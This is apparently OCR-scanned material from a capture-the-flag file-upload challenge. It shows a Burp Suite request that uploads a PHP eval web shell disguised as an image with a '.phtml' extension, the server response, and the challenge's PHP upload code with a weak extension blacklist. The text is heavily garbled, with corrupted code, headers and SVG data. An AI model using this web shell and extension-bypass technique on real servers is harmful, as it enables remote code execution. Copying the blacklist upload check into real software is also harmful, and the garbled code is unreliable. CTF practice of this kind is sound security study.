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<?php @eval($_POST['123']); 2>
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1 Referer:

Firefox/93.0

Accept

text/htnl,application/xhtml+xnl, application/xml;q=0.9, inage/avif, image/webp,*/*;q=0
-8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,2h-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=--—==-===——=-—— e — e 3923624933308B0066496249825
Content-Length: 3&7

Origin: http://3515daca-5bbb-4d31-bES3-11b250b5d326. noded buuoj.cn: 81
Connection: close

htep: //3515daca-5bbb-4d31-b&93-11b290b9d326 noded buuoj.cn:B8l/

Cookie: UM _distinctid=17cZc5eldaB&2-0c353bESdEZe3bB-4c3e2778-144000-17c2cS5eZdasSB0f

Upgrade-Insecure-Requests: 1

3923624933308B0066496249825
Content-Disposition: form-data; name="upload_file"; filename="aqw.phtal"
Content-Type: image/ipeg

<?php @eval (5_ T('123']); 2>
- 392362493330880066496249825
Content-Disposition: form-data; name="submit"

upload
- 392362493330880066496249825--

-

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2021.9.1 - Temporary Project - (]

Dashboard Target Intruder Proxy Repeater Sequencer Decoder Comparer Logger Extender Project options User options Learn

1 x 2 x 3 x 4 x 5 x 6 x 7 x 8 x

m Cancel Target: http://3515daca-5bbb-4d31-b693-11b290b9d326.noded. buusj.cn:81
a-= -

Request Response

Pretty JEEIVE Hex \n = ZCU Raw Hex Render \n =

1 POST / HTTP/1.1 1 HTTP/Ll.1 200 OK

2 Host: 3515daca-5bbh-4d31-bE93-11b290b9d326.noded.bunoi.cn: 81 2 Server: openresty

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:93.0) Gecko/20100101 3 Date: Wed, 03 Nov 2021 03:34:41 GMT

Content-Type: text/html; charset=UTF-E
Content-Length: BE74

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/S5.€.40

<!DOCTYPE
<html>
<head>
<meta charsec="UTF-8">

html>

<citle>
[aaslalalaslulu]
</title>

<link rel="stylesheet® href="css/style css® media="screen" type="text/css" />

<script type="text/javascript" src="./js/main.js">
</seript>

</head>
<body>
<div class="sitemakers">
wrap">
="bulb" version="1.1"
height="128px" viewBox="0 0 128
<g id="s-bulb">
<g»
<path fill-rule="evenodd" clip-rule="evenodd" d="M104.145,42.92Zc-0.
€08.695,9.246,82.706,5.05,75.47,2.7460-3.798-1.209-7.682-1. 965-11. 68
©-9.279,2.88-16.414,8.597-21.776,16.625C28.182,24. 378, 26.107,29. 98,2
cD.B58,9.513,4,18.144,10.17,25.542¢Z2.005,2.413,4.117,4.748,5.545,7.5
©l.076,2.427,2.774,4.205,5.371,4.859¢c1.925,0.4685,3.702,1.281,5.499,2
©2.195,0.955,4.388,1.918,6.581,2.884c2.569,1.138,5.17,2.287,7.762,3
©1.095-1.357,0.673-3.48-1._087-4.271c-1.669-0.753-3. 345-1_488-5_019-2
E04-1.136-5.Z1& €8-7.821-3.411lc 003‘0.379-4‘1.771-1;.,5".’1 /"‘J:—f
©-0.417-0.161-0.891-0.179-1.308-0.344c-0.764-0.298-1.278-0. 66¥4=1"'85%

xmlns="http://www.w3.org/Z000/svg" xmlns:x
128" enable-background="new 0 0 128 128
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<?php
error_reporting(e);

define("UPLOAD PATH", "./uplo4d");

¢msg = "Upload Success!”;

if (isset($ _POST[ 'submit'])) {
$temp file = § FILES['upload file']['tmp_name'];
$file name = $ FILES['upload file'][ 'name'];

»»»»»



$ext = pathinto($tile name,PATHINFO EXTENSION);

if(in_array($ext, ['php’, 'php3’, 'phpa’, 'php5°])) {
exit("nonono~ Bad file! ');

h

$new file name = md5(%$file name).".".%ext;
$img path = UPLOAD PATH . "/' . %new file name;

if (move uploaded file($temp file, %$img_path)){
$is upload = true;

} else {
$¢msg = 'Upload Failed!';

echo '<div style="color:#Fee">"'.$msg.” Look here~ ".$img path."</div>";
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